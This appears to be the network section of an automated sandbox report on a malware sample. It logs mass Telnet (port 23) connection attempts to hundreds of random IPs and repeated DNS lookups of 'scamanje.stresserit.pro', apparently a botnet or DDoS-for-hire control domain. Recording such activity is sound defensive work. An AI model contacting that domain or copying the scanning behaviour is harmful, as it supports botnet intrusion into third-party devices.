Dec 3, 2024 23:16:52.727839947 CET	40602	23	192.168.2.23	14.132.94.200
Dec 3, 2024 23:16:52.727852106 CET	40602	23	192.168.2.23	145.59.149.166
Dec 3, 2024 23:16:52.727853060 CET	40602	23	192.168.2.23	50.189.241.114
Dec 3, 2024 23:16:52.727853060 CET	40602	23	192.168.2.23	183.108.165.50
Dec 3, 2024 23:16:52.727854013 CET	40602	23	192.168.2.23	109.251.124.181
Dec 3, 2024 23:16:52.727854013 CET	40602	23	192.168.2.23	189.10.155.194
Dec 3, 2024 23:16:52.727859020 CET	40602	23	192.168.2.23	145.219.56.211
Dec 3, 2024 23:16:52.727860928 CET	40602	23	192.168.2.23	109.7.223.4
Dec 3, 2024 23:16:52.727864027 CET	40602	23	192.168.2.23	191.208.254.137
Dec 3, 2024 23:16:52.727870941 CET	40602	23	192.168.2.23	223.139.82.231
Dec 3, 2024 23:16:52.727871895 CET	40602	23	192.168.2.23	147.119.28.44
Dec 3, 2024 23:16:52.727871895 CET	40602	23	192.168.2.23	179.34.192.203
Dec 3, 2024 23:16:52.727884054 CET	40602	23	192.168.2.23	43.104.160.226
Dec 3, 2024 23:16:52.727885008 CET	40602	23	192.168.2.23	58.254.233.104
Dec 3, 2024 23:16:52.727889061 CET	40602	23	192.168.2.23	27.30.149.73
Dec 3, 2024 23:16:52.727889061 CET	40602	23	192.168.2.23	117.253.7.119
Dec 3, 2024 23:16:52.727889061 CET	40602	23	192.168.2.23	195.116.233.199
Dec 3, 2024 23:16:52.727893114 CET	40602	23	192.168.2.23	150.151.18.246
Dec 3, 2024 23:16:52.727893114 CET	40602	23	192.168.2.23	198.34.123.193
Dec 3, 2024 23:16:52.727893114 CET	40602	23	192.168.2.23	187.167.180.169
Dec 3, 2024 23:16:52.727904081 CET	40602	23	192.168.2.23	84.180.12.251
Dec 3, 2024 23:16:52.727905035 CET	40602	23	192.168.2.23	138.82.147.55
Dec 3, 2024 23:16:52.727907896 CET	40602	23	192.168.2.23	2.169.148.172
Dec 3, 2024 23:16:52.727907896 CET	40602	23	192.168.2.23	122.167.79.59
Dec 3, 2024 23:16:52.727907896 CET	40602	23	192.168.2.23	48.68.221.105
Dec 3, 2024 23:16:52.727910042 CET	40602	23	192.168.2.23	135.179.148.81
Dec 3, 2024 23:16:52.727925062 CET	40602	23	192.168.2.23	105.233.212.193
Dec 3, 2024 23:16:52.727925062 CET	40602	23	192.168.2.23	84.83.56.173
Dec 3, 2024 23:16:52.727926016 CET	40602	23	192.168.2.23	110.178.72.205
Dec 3, 2024 23:16:52.727926016 CET	40602	23	192.168.2.23	197.48.42.2
Dec 3, 2024 23:16:52.727926016 CET	40602	23	192.168.2.23	148.160.0.10
Dec 3, 2024 23:16:52.727927923 CET	40602	23	192.168.2.23	37.129.212.164
Dec 3, 2024 23:16:52.727936029 CET	40602	23	192.168.2.23	141.238.146.217
Dec 3, 2024 23:16:52.727936029 CET	40602	23	192.168.2.23	202.224.24.214
Dec 3, 2024 23:16:52.727936029 CET	40602	23	192.168.2.23	146.67.142.15
Dec 3, 2024 23:16:52.727936029 CET	40602	23	192.168.2.23	162.142.182.57
Dec 3, 2024 23:16:52.727936029 CET	40602	23	192.168.2.23	184.135.176.178
Dec 3, 2024 23:16:52.727936029 CET	40602	23	192.168.2.23	40.65.120.125
Dec 3, 2024 23:16:52.727936029 CET	40602	23	192.168.2.23	176.235.127.130
Dec 3, 2024 23:16:52.727936029 CET	40602	23	192.168.2.23	202.96.197.161
Dec 3, 2024 23:16:52.727946043 CET	40602	23	192.168.2.23	102.143.221.148
Dec 3, 2024 23:16:52.727947950 CET	40602	23	192.168.2.23	136.58.81.80
Dec 3, 2024 23:16:52.727947950 CET	40602	23	192.168.2.23	63.241.132.90
Dec 3, 2024 23:16:52.727950096 CET	40602	23	192.168.2.23	97.112.40.130
Dec 3, 2024 23:16:52.727950096 CET	40602	23	192.168.2.23	80.130.128.45
Dec 3, 2024 23:16:52.727952957 CET	40602	23	192.168.2.23	79.175.43.210
Dec 3, 2024 23:16:52.727952957 CET	40602	23	192.168.2.23	201.54.32.245
Dec 3, 2024 23:16:52.727956057 CET	40602	23	192.168.2.23	57.36.132.202
Dec 3, 2024 23:16:52.727956057 CET	40602	23	192.168.2.23	179.255.85.193
Dec 3, 2024 23:16:52.727957964 CET	40602	23	192.168.2.23	128.135.224.112
Dec 3, 2024 23:16:52.727962971 CET	40602	23	192.168.2.23	86.183.101.133
Dec 3, 2024 23:16:52.727978945 CET	40602	23	192.168.2.23	134.162.175.24
Dec 3, 2024 23:16:52.727978945 CET	40602	23	192.168.2.23	160.84.92.175
Dec 3, 2024 23:16:52.727979898 CET	40602	23	192.168.2.23	221.131.50.184
Dec 3, 2024 23:16:52.727982044 CET	40602	23	192.168.2.23	23.224.35.210
Dec 3, 2024 23:16:52.727978945 CET	40602	23	192.168.2.23	182.138.201.90
Dec 3, 2024 23:16:52.727979898 CET	40602	23	192.168.2.23	81.79.103.200
Dec 3, 2024 23:16:52.727982044 CET	40602	23	192.168.2.23	98.96.158.189
Dec 3, 2024 23:16:52.727979898 CET	40602	23	192.168.2.23	160.117.93.165
Dec 3, 2024 23:16:52.727982998 CET	40602	23	192.168.2.23	14.42.73.152
Dec 3, 2024 23:16:52.727982044 CET	40602	23	192.168.2.23	189.250.63.199
Dec 3, 2024 23:16:52.727982998 CET	40602	23	192.168.2.23	97.26.245.145
Dec 3, 2024 23:16:52.728007078 CET	40602	23	192.168.2.23	115.156.232.6
Dec 3, 2024 23:16:52.728008032 CET	40602	23	192.168.2.23	68.1.207.139
Dec 3, 2024 23:16:52.728007078 CET	40602	23	192.168.2.23	157.75.144.112
Dec 3, 2024 23:16:52.728008032 CET	40602	23	192.168.2.23	213.85.37.87
Dec 3, 2024 23:16:52.728008986 CET	40602	23	192.168.2.23	107.96.245.190
Dec 3, 2024 23:16:52.728008032 CET	40602	23	192.168.2.23	125.94.162.248
Dec 3, 2024 23:16:52.728008032 CET	40602	23	192.168.2.23	20.204.190.66
Dec 3, 2024 23:16:52.728012085 CET	40602	23	192.168.2.23	42.219.97.7
Dec 3, 2024 23:16:52.728008032 CET	40602	23	192.168.2.23	19.224.139.58
Dec 3, 2024 23:16:52.728012085 CET	40602	23	192.168.2.23	4.202.202.214
Dec 3, 2024 23:16:52.728013992 CET	40602	23	192.168.2.23	172.252.5.74
Dec 3, 2024 23:16:52.728010893 CET	40602	23	192.168.2.23	130.175.233.76
Dec 3, 2024 23:16:52.728008032 CET	40602	23	192.168.2.23	79.89.225.210
Dec 3, 2024 23:16:52.728012085 CET	40602	23	192.168.2.23	31.71.123.224
Dec 3, 2024 23:16:52.728010893 CET	40602	23	192.168.2.23	17.186.85.185
Dec 3, 2024 23:16:52.728012085 CET	40602	23	192.168.2.23	19.93.124.187
Dec 3, 2024 23:16:52.728022099 CET	40602	23	192.168.2.23	37.21.118.126
Dec 3, 2024 23:16:52.728012085 CET	40602	23	192.168.2.23	14.169.94.253
Dec 3, 2024 23:16:52.728024006 CET	40602	23	192.168.2.23	74.15.129.125
Dec 3, 2024 23:16:52.728012085 CET	40602	23	192.168.2.23	210.199.38.42
Dec 3, 2024 23:16:52.728025913 CET	40602	23	192.168.2.23	78.186.179.51
Dec 3, 2024 23:16:52.728010893 CET	40602	23	192.168.2.23	126.233.45.149
Dec 3, 2024 23:16:52.728027105 CET	40602	23	192.168.2.23	152.53.40.86
Dec 3, 2024 23:16:52.728013992 CET	40602	23	192.168.2.23	70.38.7.219
Dec 3, 2024 23:16:52.728013992 CET	40602	23	192.168.2.23	178.1.93.130
Dec 3, 2024 23:16:52.728032112 CET	40602	23	192.168.2.23	39.107.217.102
Dec 3, 2024 23:16:52.728032112 CET	40602	23	192.168.2.23	63.79.149.152
Dec 3, 2024 23:16:52.728032112 CET	40602	23	192.168.2.23	32.81.57.133
Dec 3, 2024 23:16:52.728035927 CET	40602	23	192.168.2.23	73.86.129.86
Dec 3, 2024 23:16:52.728035927 CET	40602	23	192.168.2.23	119.232.3.161
Dec 3, 2024 23:16:52.728037119 CET	40602	23	192.168.2.23	193.211.147.99
Dec 3, 2024 23:16:52.728045940 CET	40602	23	192.168.2.23	159.65.58.204
Dec 3, 2024 23:16:52.728048086 CET	40602	23	192.168.2.23	62.250.15.189
Dec 3, 2024 23:16:52.728049040 CET	40602	23	192.168.2.23	126.80.223.243
Dec 3, 2024 23:16:52.728049994 CET	40602	23	192.168.2.23	57.178.148.44
Dec 3, 2024 23:16:52.728049040 CET	40602	23	192.168.2.23	161.205.32.204
Dec 3, 2024 23:16:52.728049040 CET	40602	23	192.168.2.23	222.122.104.128
Dec 3, 2024 23:16:52.728049994 CET	40602	23	192.168.2.23	69.252.38.64
Dec 3, 2024 23:16:52.728049040 CET	40602	23	192.168.2.23	12.75.251.244
Dec 3, 2024 23:16:52.728049040 CET	40602	23	192.168.2.23	12.111.63.254
Dec 3, 2024 23:16:52.728049994 CET	40602	23	192.168.2.23	50.187.150.101
Dec 3, 2024 23:16:52.728049994 CET	40602	23	192.168.2.23	189.102.93.231
Dec 3, 2024 23:16:52.728063107 CET	40602	23	192.168.2.23	125.179.170.186
Dec 3, 2024 23:16:52.728064060 CET	40602	23	192.168.2.23	100.128.201.200
Dec 3, 2024 23:16:52.728064060 CET	40602	23	192.168.2.23	212.21.47.56
Dec 3, 2024 23:16:52.728064060 CET	40602	23	192.168.2.23	199.246.176.144
Dec 3, 2024 23:16:52.728068113 CET	40602	23	192.168.2.23	130.234.99.119
Dec 3, 2024 23:16:52.728068113 CET	40602	23	192.168.2.23	46.244.38.228
Dec 3, 2024 23:16:52.728068113 CET	40602	23	192.168.2.23	152.153.129.36
Dec 3, 2024 23:16:52.728068113 CET	40602	23	192.168.2.23	94.57.170.210
Dec 3, 2024 23:16:52.728068113 CET	40602	23	192.168.2.23	209.114.192.229
Dec 3, 2024 23:16:52.728080988 CET	40602	23	192.168.2.23	168.21.109.200
Dec 3, 2024 23:16:52.728082895 CET	40602	23	192.168.2.23	75.69.182.119
Dec 3, 2024 23:16:52.728082895 CET	40602	23	192.168.2.23	156.47.149.11
Dec 3, 2024 23:16:52.728082895 CET	40602	23	192.168.2.23	135.30.16.105
Dec 3, 2024 23:16:52.728082895 CET	40602	23	192.168.2.23	61.226.147.157
Dec 3, 2024 23:16:52.728082895 CET	40602	23	192.168.2.23	132.156.229.3
Dec 3, 2024 23:16:52.728082895 CET	40602	23	192.168.2.23	14.141.58.132
Dec 3, 2024 23:16:52.728085041 CET	40602	23	192.168.2.23	118.192.139.117
Dec 3, 2024 23:16:52.728085041 CET	40602	23	192.168.2.23	190.206.94.140
Dec 3, 2024 23:16:52.728096962 CET	40602	23	192.168.2.23	69.78.4.226
Dec 3, 2024 23:16:52.728097916 CET	40602	23	192.168.2.23	136.147.105.14
Dec 3, 2024 23:16:52.728097916 CET	40602	23	192.168.2.23	41.13.200.91
Dec 3, 2024 23:16:52.728099108 CET	40602	23	192.168.2.23	39.123.170.184
Dec 3, 2024 23:16:52.728099108 CET	40602	23	192.168.2.23	129.150.183.185
Dec 3, 2024 23:16:52.728102922 CET	40602	23	192.168.2.23	190.168.134.169
Dec 3, 2024 23:16:52.728102922 CET	40602	23	192.168.2.23	114.155.52.184
Dec 3, 2024 23:16:52.728115082 CET	40602	23	192.168.2.23	120.24.252.130
Dec 3, 2024 23:16:52.728115082 CET	40602	23	192.168.2.23	77.87.137.190
Dec 3, 2024 23:16:52.728115082 CET	40602	23	192.168.2.23	71.101.190.253
Dec 3, 2024 23:16:52.728115082 CET	40602	23	192.168.2.23	157.218.3.136
Dec 3, 2024 23:16:52.728115082 CET	40602	23	192.168.2.23	174.14.223.179
Dec 3, 2024 23:16:52.728116035 CET	40602	23	192.168.2.23	148.175.124.70
Dec 3, 2024 23:16:52.728118896 CET	40602	23	192.168.2.23	202.54.122.153
Dec 3, 2024 23:16:52.728121042 CET	40602	23	192.168.2.23	46.73.85.85
Dec 3, 2024 23:16:52.728121042 CET	40602	23	192.168.2.23	168.243.210.110
Dec 3, 2024 23:16:52.728137016 CET	40602	23	192.168.2.23	163.148.216.108
Dec 3, 2024 23:16:52.728137970 CET	40602	23	192.168.2.23	194.149.47.127
Dec 3, 2024 23:16:52.728137970 CET	40602	23	192.168.2.23	125.57.228.165
Dec 3, 2024 23:16:52.728137970 CET	40602	23	192.168.2.23	167.182.172.211
Dec 3, 2024 23:16:52.728137970 CET	40602	23	192.168.2.23	85.126.170.51
Dec 3, 2024 23:16:52.728137970 CET	40602	23	192.168.2.23	174.18.113.43
Dec 3, 2024 23:16:52.728140116 CET	40602	23	192.168.2.23	42.6.96.3
Dec 3, 2024 23:16:52.728141069 CET	40602	23	192.168.2.23	110.62.144.61
Dec 3, 2024 23:16:52.728140116 CET	40602	23	192.168.2.23	67.58.219.160
Dec 3, 2024 23:16:52.728140116 CET	40602	23	192.168.2.23	67.60.42.162
Dec 3, 2024 23:16:52.728140116 CET	40602	23	192.168.2.23	93.216.104.178
Dec 3, 2024 23:16:52.728141069 CET	40602	23	192.168.2.23	60.233.186.14
Dec 3, 2024 23:16:52.728141069 CET	40602	23	192.168.2.23	87.173.26.121
Dec 3, 2024 23:16:52.728149891 CET	40602	23	192.168.2.23	161.179.188.81
Dec 3, 2024 23:16:52.728149891 CET	40602	23	192.168.2.23	46.82.12.131
Dec 3, 2024 23:16:52.728149891 CET	40602	23	192.168.2.23	198.123.123.197
Dec 3, 2024 23:16:52.728167057 CET	40602	23	192.168.2.23	18.183.199.85
Dec 3, 2024 23:16:52.728167057 CET	40602	23	192.168.2.23	148.254.74.176
Dec 3, 2024 23:16:52.728169918 CET	40602	23	192.168.2.23	64.17.25.144
Dec 3, 2024 23:16:52.728172064 CET	40602	23	192.168.2.23	187.112.178.160
Dec 3, 2024 23:16:52.728172064 CET	40602	23	192.168.2.23	92.234.137.5
Dec 3, 2024 23:16:52.728172064 CET	40602	23	192.168.2.23	126.168.178.136
Dec 3, 2024 23:16:52.728173018 CET	40602	23	192.168.2.23	133.46.50.26
Dec 3, 2024 23:16:52.728173971 CET	40602	23	192.168.2.23	158.100.200.26
Dec 3, 2024 23:16:52.728173971 CET	40602	23	192.168.2.23	125.170.197.66
Dec 3, 2024 23:16:52.728173971 CET	40602	23	192.168.2.23	169.138.72.125
Dec 3, 2024 23:16:52.728182077 CET	40602	23	192.168.2.23	52.103.96.104
Dec 3, 2024 23:16:52.728187084 CET	40602	23	192.168.2.23	137.134.58.168
Dec 3, 2024 23:16:52.728187084 CET	40602	23	192.168.2.23	115.245.164.10
Dec 3, 2024 23:16:52.728187084 CET	40602	23	192.168.2.23	85.232.24.86
Dec 3, 2024 23:16:52.728188992 CET	40602	23	192.168.2.23	75.194.149.106
Dec 3, 2024 23:16:52.728190899 CET	40602	23	192.168.2.23	139.160.172.1
Dec 3, 2024 23:16:52.728194952 CET	40602	23	192.168.2.23	217.111.96.47
Dec 3, 2024 23:16:52.728214979 CET	40602	23	192.168.2.23	97.228.39.164
Dec 3, 2024 23:16:52.728214979 CET	40602	23	192.168.2.23	46.241.38.165
Dec 3, 2024 23:16:52.728215933 CET	40602	23	192.168.2.23	210.237.68.245
Dec 3, 2024 23:16:52.728216887 CET	40602	23	192.168.2.23	58.95.178.107
Dec 3, 2024 23:16:52.728216887 CET	40602	23	192.168.2.23	107.208.35.177
Dec 3, 2024 23:16:52.728218079 CET	40602	23	192.168.2.23	173.216.197.108
Dec 3, 2024 23:16:52.728218079 CET	40602	23	192.168.2.23	73.122.4.151
Dec 3, 2024 23:16:52.728218079 CET	40602	23	192.168.2.23	195.79.163.129
Dec 3, 2024 23:16:52.728218079 CET	40602	23	192.168.2.23	12.52.107.81
Dec 3, 2024 23:16:52.728219032 CET	40602	23	192.168.2.23	188.138.95.214
Dec 3, 2024 23:16:52.728219986 CET	40602	23	192.168.2.23	211.129.1.239
Dec 3, 2024 23:16:52.728219032 CET	40602	23	192.168.2.23	154.109.16.73
Dec 3, 2024 23:16:52.728219032 CET	40602	23	192.168.2.23	94.213.210.60
Dec 3, 2024 23:16:52.728219032 CET	40602	23	192.168.2.23	216.177.113.221
Dec 3, 2024 23:16:52.728221893 CET	40602	23	192.168.2.23	137.106.175.183
Dec 3, 2024 23:16:52.728219032 CET	40602	23	192.168.2.23	112.41.244.28
Dec 3, 2024 23:16:52.728221893 CET	40602	23	192.168.2.23	97.150.19.52
Dec 3, 2024 23:16:52.728221893 CET	40602	23	192.168.2.23	188.76.42.217
Dec 3, 2024 23:16:52.728234053 CET	40602	23	192.168.2.23	40.188.23.6
Dec 3, 2024 23:16:52.728234053 CET	40602	23	192.168.2.23	89.7.234.31
Dec 3, 2024 23:16:52.728235006 CET	40602	23	192.168.2.23	183.69.168.6
Dec 3, 2024 23:16:52.728241920 CET	40602	23	192.168.2.23	65.67.116.77
Dec 3, 2024 23:16:52.728241920 CET	40602	23	192.168.2.23	121.85.32.50
Dec 3, 2024 23:16:52.728241920 CET	40602	23	192.168.2.23	152.233.109.106
Dec 3, 2024 23:16:52.728243113 CET	40602	23	192.168.2.23	74.76.224.144
Dec 3, 2024 23:16:52.728243113 CET	40602	23	192.168.2.23	130.48.175.109
Dec 3, 2024 23:16:52.728244066 CET	40602	23	192.168.2.23	166.127.255.0
Dec 3, 2024 23:16:52.728244066 CET	40602	23	192.168.2.23	193.48.92.202
Dec 3, 2024 23:16:52.728244066 CET	40602	23	192.168.2.23	37.110.193.166
Dec 3, 2024 23:16:52.728245974 CET	40602	23	192.168.2.23	68.254.14.103
Dec 3, 2024 23:16:52.728244066 CET	40602	23	192.168.2.23	97.197.18.67
Dec 3, 2024 23:16:52.728245020 CET	40602	23	192.168.2.23	189.145.11.17
Dec 3, 2024 23:16:52.728246927 CET	40602	23	192.168.2.23	222.212.236.156
Dec 3, 2024 23:16:52.728244066 CET	40602	23	192.168.2.23	174.223.122.29
Dec 3, 2024 23:16:52.728246927 CET	40602	23	192.168.2.23	19.65.227.65
Dec 3, 2024 23:16:52.728266954 CET	40602	23	192.168.2.23	180.79.248.147
Dec 3, 2024 23:16:52.728266954 CET	40602	23	192.168.2.23	43.54.164.235
Dec 3, 2024 23:16:52.728266954 CET	40602	23	192.168.2.23	153.9.33.17
Dec 3, 2024 23:16:52.728266954 CET	40602	23	192.168.2.23	116.253.148.64
Dec 3, 2024 23:16:52.728269100 CET	40602	23	192.168.2.23	172.184.52.16
Dec 3, 2024 23:16:52.728270054 CET	40602	23	192.168.2.23	17.119.88.215
Dec 3, 2024 23:16:52.728270054 CET	40602	23	192.168.2.23	142.19.186.198
Dec 3, 2024 23:16:52.728270054 CET	40602	23	192.168.2.23	121.190.246.152
Dec 3, 2024 23:16:52.728270054 CET	40602	23	192.168.2.23	18.225.185.146
Dec 3, 2024 23:16:52.728272915 CET	40602	23	192.168.2.23	154.244.8.253
Dec 3, 2024 23:16:52.728270054 CET	40602	23	192.168.2.23	223.0.59.185
Dec 3, 2024 23:16:52.728270054 CET	40602	23	192.168.2.23	198.37.26.12
Dec 3, 2024 23:16:52.728291988 CET	40602	23	192.168.2.23	57.169.3.115
Dec 3, 2024 23:16:52.728291988 CET	40602	23	192.168.2.23	136.18.122.223
Dec 3, 2024 23:16:52.728291988 CET	40602	23	192.168.2.23	41.69.60.208
Dec 3, 2024 23:16:52.728291988 CET	40602	23	192.168.2.23	53.168.236.139
Dec 3, 2024 23:16:52.728292942 CET	40602	23	192.168.2.23	167.208.109.239
Dec 3, 2024 23:16:52.728293896 CET	40602	23	192.168.2.23	131.110.166.95
Dec 3, 2024 23:16:52.728293896 CET	40602	23	192.168.2.23	94.151.190.49
Dec 3, 2024 23:16:52.728293896 CET	40602	23	192.168.2.23	99.71.168.189
Dec 3, 2024 23:16:52.728293896 CET	40602	23	192.168.2.23	219.171.164.135
Dec 3, 2024 23:16:52.728296041 CET	40602	23	192.168.2.23	217.174.138.189
Dec 3, 2024 23:16:52.728300095 CET	40602	23	192.168.2.23	91.204.244.136
Dec 3, 2024 23:16:52.728300095 CET	40602	23	192.168.2.23	100.59.212.77
Dec 3, 2024 23:16:52.728300095 CET	40602	23	192.168.2.23	25.81.133.21
Dec 3, 2024 23:16:52.728300095 CET	40602	23	192.168.2.23	170.35.34.212
Dec 3, 2024 23:16:52.728300095 CET	40602	23	192.168.2.23	208.225.243.147
Dec 3, 2024 23:16:52.728306055 CET	40602	23	192.168.2.23	150.80.144.108
Dec 3, 2024 23:16:52.728306055 CET	40602	23	192.168.2.23	84.137.162.25
Dec 3, 2024 23:16:52.728306055 CET	40602	23	192.168.2.23	121.156.14.74
Dec 3, 2024 23:16:52.728323936 CET	40602	23	192.168.2.23	82.83.171.127
Dec 3, 2024 23:16:52.728323936 CET	40602	23	192.168.2.23	13.106.89.53
Dec 3, 2024 23:16:52.728324890 CET	40602	23	192.168.2.23	117.173.163.111
Dec 3, 2024 23:16:52.728324890 CET	40602	23	192.168.2.23	223.60.212.78
Dec 3, 2024 23:16:52.728326082 CET	40602	23	192.168.2.23	67.223.128.251
Dec 3, 2024 23:16:52.728326082 CET	40602	23	192.168.2.23	12.199.214.86
Dec 3, 2024 23:16:52.728326082 CET	40602	23	192.168.2.23	152.144.84.47
Dec 3, 2024 23:16:52.728327036 CET	40602	23	192.168.2.23	114.158.199.66
Dec 3, 2024 23:16:52.728327990 CET	40602	23	192.168.2.23	82.90.87.31
Dec 3, 2024 23:16:52.728327990 CET	40602	23	192.168.2.23	41.178.152.227
Dec 3, 2024 23:16:52.728338957 CET	40602	23	192.168.2.23	120.16.57.78
Dec 3, 2024 23:16:52.728338957 CET	40602	23	192.168.2.23	133.176.237.8
Dec 3, 2024 23:16:52.728338957 CET	40602	23	192.168.2.23	177.250.96.238
Dec 3, 2024 23:16:52.728354931 CET	40602	23	192.168.2.23	145.127.150.161
Dec 3, 2024 23:16:52.728355885 CET	40602	23	192.168.2.23	216.184.144.220
Dec 3, 2024 23:16:52.728354931 CET	40602	23	192.168.2.23	52.9.45.110
Dec 3, 2024 23:16:52.728355885 CET	40602	23	192.168.2.23	43.65.64.151
Dec 3, 2024 23:16:52.728355885 CET	40602	23	192.168.2.23	116.33.121.74
Dec 3, 2024 23:16:52.728354931 CET	40602	23	192.168.2.23	211.48.12.239
Dec 3, 2024 23:16:52.728357077 CET	40602	23	192.168.2.23	213.4.109.81
Dec 3, 2024 23:16:52.728355885 CET	40602	23	192.168.2.23	186.74.53.103
Dec 3, 2024 23:16:52.728358030 CET	40602	23	192.168.2.23	173.24.15.242
Dec 3, 2024 23:16:52.728355885 CET	40602	23	192.168.2.23	109.238.199.111
Dec 3, 2024 23:16:52.728357077 CET	40602	23	192.168.2.23	205.76.111.231
Dec 3, 2024 23:16:52.728355885 CET	40602	23	192.168.2.23	39.140.204.41
Dec 3, 2024 23:16:52.728358030 CET	40602	23	192.168.2.23	168.204.174.195
Dec 3, 2024 23:16:52.728357077 CET	40602	23	192.168.2.23	119.156.19.235
Dec 3, 2024 23:16:52.728354931 CET	40602	23	192.168.2.23	123.187.47.74
Dec 3, 2024 23:16:52.728358030 CET	40602	23	192.168.2.23	175.0.2.150
Dec 3, 2024 23:16:52.728357077 CET	40602	23	192.168.2.23	172.50.230.154
Dec 3, 2024 23:16:52.728358030 CET	40602	23	192.168.2.23	184.62.204.114
Dec 3, 2024 23:16:52.728358030 CET	40602	23	192.168.2.23	183.230.212.210
Dec 3, 2024 23:16:52.728358030 CET	40602	23	192.168.2.23	17.54.164.167
Dec 3, 2024 23:16:52.728358030 CET	40602	23	192.168.2.23	78.183.233.196
Dec 3, 2024 23:16:52.728372097 CET	40602	23	192.168.2.23	105.90.18.28
Dec 3, 2024 23:16:52.728374004 CET	40602	23	192.168.2.23	123.244.10.1
Dec 3, 2024 23:16:52.728374004 CET	40602	23	192.168.2.23	109.69.94.182
Dec 3, 2024 23:16:52.728374004 CET	40602	23	192.168.2.23	41.97.205.19
Dec 3, 2024 23:16:52.728375912 CET	40602	23	192.168.2.23	8.115.171.210
Dec 3, 2024 23:16:52.728375912 CET	40602	23	192.168.2.23	204.218.33.215
Dec 3, 2024 23:16:52.728375912 CET	40602	23	192.168.2.23	24.106.26.92
Dec 3, 2024 23:16:52.728375912 CET	40602	23	192.168.2.23	172.84.113.20
Dec 3, 2024 23:16:52.728380919 CET	40602	23	192.168.2.23	144.133.129.213
Dec 3, 2024 23:16:52.728387117 CET	40602	23	192.168.2.23	158.18.130.117
Dec 3, 2024 23:16:52.728387117 CET	40602	23	192.168.2.23	45.186.17.253
Dec 3, 2024 23:16:52.728387117 CET	40602	23	192.168.2.23	77.182.4.159
Dec 3, 2024 23:16:52.728389025 CET	40602	23	192.168.2.23	70.116.64.210
Dec 3, 2024 23:16:52.728389025 CET	40602	23	192.168.2.23	222.5.230.203
Dec 3, 2024 23:16:52.728394032 CET	40602	23	192.168.2.23	207.148.86.143
Dec 3, 2024 23:16:52.728394032 CET	40602	23	192.168.2.23	58.117.78.122
Dec 3, 2024 23:16:52.728395939 CET	40602	23	192.168.2.23	202.168.126.9
Dec 3, 2024 23:16:52.728398085 CET	40602	23	192.168.2.23	216.104.255.32
Dec 3, 2024 23:16:52.728398085 CET	40602	23	192.168.2.23	43.163.100.234

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 3, 2024 23:16:42.379096031 CET	192.168.2.23	8.8.8.8	0xdecb	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 23:16:42.884453058 CET	192.168.2.23	8.8.8.8	0xdecb	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 23:16:43.361428022 CET	192.168.2.23	8.8.8.8	0xdecb	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 23:16:43.619426966 CET	192.168.2.23	8.8.8.8	0xdecb	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 23:16:44.102360010 CET	192.168.2.23	8.8.8.8	0xdecb	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 23:17:06.460330009 CET	192.168.2.23	8.8.8.8	0xa051	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 23:17:06.715399981 CET	192.168.2.23	8.8.8.8	0xa051	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 23:17:06.971559048 CET	192.168.2.23	8.8.8.8	0xa051	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 23:17:07.228099108 CET	192.168.2.23	8.8.8.8	0xa051	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 23:17:07.483628988 CET	192.168.2.23	8.8.8.8	0xa051	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 23:17:29.779501915 CET	192.168.2.23	8.8.8.8	0xbfc	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 23:17:30.036083937 CET	192.168.2.23	8.8.8.8	0xbfc	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 23:17:30.288331032 CET	192.168.2.23	8.8.8.8	0xbfc	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 23:17:30.542877913 CET	192.168.2.23	8.8.8.8	0xbfc	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 23:17:30.800067902 CET	192.168.2.23	8.8.8.8	0xbfc	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 23:17:53.233088970 CET	192.168.2.23	8.8.8.8	0x8147	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 23:17:53.707308054 CET	192.168.2.23	8.8.8.8	0x8147	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 23:17:53.962593079 CET	192.168.2.23	8.8.8.8	0x8147	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 23:17:54.219116926 CET	192.168.2.23	8.8.8.8	0x8147	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 23:17:54.474183083 CET	192.168.2.23	8.8.8.8	0x8147	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 23:18:16.749186039 CET	192.168.2.23	8.8.8.8	0x206	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 23:18:17.148588896 CET	192.168.2.23	8.8.8.8	0x206	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 23:18:17.623954058 CET	192.168.2.23	8.8.8.8	0x206	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 23:18:18.018352032 CET	192.168.2.23	8.8.8.8	0x206	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 23:18:18.273323059 CET	192.168.2.23	8.8.8.8	0x206	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 23:18:40.603188992 CET	192.168.2.23	8.8.8.8	0x2e9b	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
